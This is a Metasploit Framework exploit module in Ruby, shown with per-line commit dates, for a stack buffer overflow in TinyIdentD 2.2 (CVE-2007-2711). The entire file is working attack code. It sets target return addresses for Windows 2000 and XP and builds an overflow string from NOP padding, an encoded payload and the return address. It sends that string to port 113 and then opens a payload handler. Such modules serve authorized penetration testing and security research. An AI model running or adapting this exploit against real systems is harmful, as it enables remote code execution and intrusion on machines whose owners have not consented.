Files
metasploit-gs/modules/exploits/windows/misc/tiny_identd_overflow.rb
T

65 lines
1.7 KiB
Ruby
Raw Normal View History

2009-12-15 18:47:29 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2009-12-15 18:47:29 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = AverageRanking
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Tcp
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'TinyIdentD 2.2 Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in TinyIdentD version 2.2.
If we send a long string to the ident service we can overwrite the return
address and execute arbitrary code. Credit to Maarten Boone.
},
'Author' => 'Jacopo Cervini <acaro[at]jervus.it>',
'References' =>
[
['CVE', '2007-2711'],
['OSVDB', '36053'],
2013-08-30 16:28:54 -05:00
['BID', '23981'],
],
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0d\x20\x0a"
},
'Platform' => 'win',
'Targets' =>
[
['Windows 2000 Server SP4 English', { 'Ret' => 0x7c2d15e7, } ], # call esi
['Windows XP SP2 Italian', { 'Ret' => 0x77f46eda, } ], # call esi
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
],
'Privileged' => false,
'DisclosureDate' => 'May 14 2007'
))
2009-12-15 18:47:29 +00:00
register_options([ Opt::RPORT(113) ])
2013-08-30 16:28:54 -05:00
end
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
def exploit
connect
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
pattern = "\xeb\x20"+", 28 : USERID : UNIX :";
pattern << make_nops(0x1eb - payload.encoded.length)
pattern << payload.encoded
pattern << [ target.ret ].pack('V')
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
request = pattern + "\n"
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
print_status("Trying #{target.name} using address at #{"0x%.8x" % target.ret }...")
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
sock.put(request)
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
handler
disconnect
end
end